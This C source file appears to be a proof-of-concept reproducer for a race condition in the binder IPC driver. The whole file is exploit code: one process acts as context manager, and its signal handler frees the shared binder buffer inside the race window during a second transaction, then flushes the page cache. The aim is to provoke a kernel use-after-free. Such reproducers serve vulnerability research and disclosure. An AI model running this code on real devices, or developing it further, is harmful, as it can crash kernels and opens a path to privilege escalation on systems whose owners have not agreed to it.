#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>

#include <fcntl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/prctl.h>
#include <unistd.h>

#include "binder.h"

static struct binder_state *bs;

void do_ping_cmgr(struct binder_state* bs) {
  struct binder_io msg;
  struct binder_io reply;
  char data[0x1000];
  uint32_t handle = 0;

  bio_init(&msg, data, sizeof(data), 4);
  bio_put_uint32(&msg, 0);
  binder_call(bs, &msg, &reply, 0, 1);
  binder_done(bs, &msg, &reply);
}

int manager_binder_handler(struct binder_state *bs, struct binder_transaction_data *txn, struct binder_io *msg, struct binder_io *reply) {
  printf("got transaction!\n");
  bio_put_uint32(reply, 0);
  return 0;
}

void do_free_buf(int sig) {
  sleep(1);

  struct {
      uint32_t cmd;
      uintptr_t buffer;
  } __attribute__((packed)) data;
  printf("### ATTEMPTING FREE IN RACE WINDOW\n");
  data.cmd = BC_FREE_BUFFER;
  data.buffer = (uintptr_t)bs->mapped;
  binder_write(bs, &data, sizeof(data));
  printf("### END OF FREE IN RACE WINDOW, FLUSHING PAGE\n");
  int drop_caches_fd = open("/proc/sys/vm/drop_caches", O_WRONLY);
  if (drop_caches_fd == -1) err(1, "open drop_caches");
  if (write(drop_caches_fd, "2", 1) != 1) err(1, "write drop_caches");
  printf("### END OF PAGE FLUSH\n");
}

int main(int argc, char** argv) {
  setbuf(stdout, NULL);

  pid_t parent = getpid();
  pid_t child = fork();
  if (child == -1) err(1, "fork");
  if (child == 0) {
    if (prctl(PR_SET_PDEATHSIG, SIGKILL)) err(1, "prctl");
    if (getppid() != parent) exit(0);

    sleep(1);
    bs = binder_open(0x400000);
    if (bs == NULL) err(1, "binder_open");

    // first ping: get the flags right
    printf("### FIRST PING\n");
    do_ping_cmgr(bs);

    // second ping: trigger the bug
    printf("### SECOND PING\n");
    kill(parent, SIGUSR1);
    do_ping_cmgr(bs);

    printf("### SECOND PING DONE\n");
    kill(parent, SIGKILL);
  } else {
    bs = binder_open(0x400000);
    if (bs == NULL) err(1, "binder_open");
    if (binder_become_context_manager(bs)) err(1, "binder_become_context_manager");

    signal(SIGUSR1, do_free_buf);

    binder_loop(bs, manager_binder_handler);
  
    return 0;
  }
}
